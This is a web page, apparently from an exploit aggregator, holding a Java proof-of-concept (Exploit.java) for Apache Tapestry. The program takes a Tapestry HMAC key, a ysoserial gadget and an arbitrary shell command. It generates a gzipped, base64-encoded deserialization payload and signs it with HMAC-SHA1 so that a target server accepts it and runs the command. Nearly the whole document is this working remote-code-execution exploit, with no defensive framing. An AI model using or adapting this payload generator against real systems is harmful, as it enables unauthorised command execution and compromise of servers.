4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Exploit.java JAVA
import java.io.*;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import org.apache.commons.codec.binary.Base64;
public class Exploit {
// First arg is tapestry key
// second arg is payload type
    private static final String HMAC_SHA1 = "HmacSHA1";
    public static String run(String command){
	try {
    	//	String command="sh -c $@|sh . echo java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 ls|gzip|base64|tr -d \"\n\"";
		String result="";
  		Process process = Runtime.getRuntime().exec(command);
		BufferedReader reader = new BufferedReader(
       	        new InputStreamReader(process.getInputStream()));
  		String line;
    		while ((line = reader.readLine()) != null) {
        		result=result+line;
    		}
		reader.close();
		return result ;
	} 
	catch (IOException e) {
    		e.printStackTrace();
		return "ERROR";
	}
}

    public static void main(String[] args) {
      if( args.length <3)
	{
		System.out.println("[Usage]: java -cp commons-codec-1.15/commons-codec-1.15.jar:. Exploit [Tapestry Key] [Ysoserial Payload] [Command To Execute]");
		System.exit(0);
	}



	Mac sha1Hmac;
        byte[] result;
        final String key = args[0];
	final String type= args[1];
	final String command="sh -c $@|sh . echo "+args[2];
        try {
            final byte[] byteKey = key.getBytes(StandardCharsets.UTF_8);
            sha1Hmac = Mac.getInstance(HMAC_SHA1);
            SecretKeySpec keySpec = new SecretKeySpec(byteKey, HMAC_SHA1);
            sha1Hmac.init(keySpec);
	    String ysoCommand="sh -c $@|sh . echo java -jar ysoserial-master-d367e379d9-1.jar "+type+" '"+command+"'|gzip|base64|tr -d \"\n\"";
	    String payload=run(ysoCommand);
            byte[] array = payload.getBytes();
	    byte[] b64out=Base64.decodeBase64(array);
	    sha1Hmac.update(b64out);
	    byte[] macData = sha1Hmac.doFinal();
            result = Base64.encodeBase64(macData);
	    System.out.println(new String(result)+":"+payload);
        } catch ( InvalidKeyException | NoSuchAlgorithmException e) {
            e.printStackTrace();
        } finally {
            // Put any cleanup here
            System.out.println("Payload generated successfully!\nAuthor: Kahla");
        }
    }
}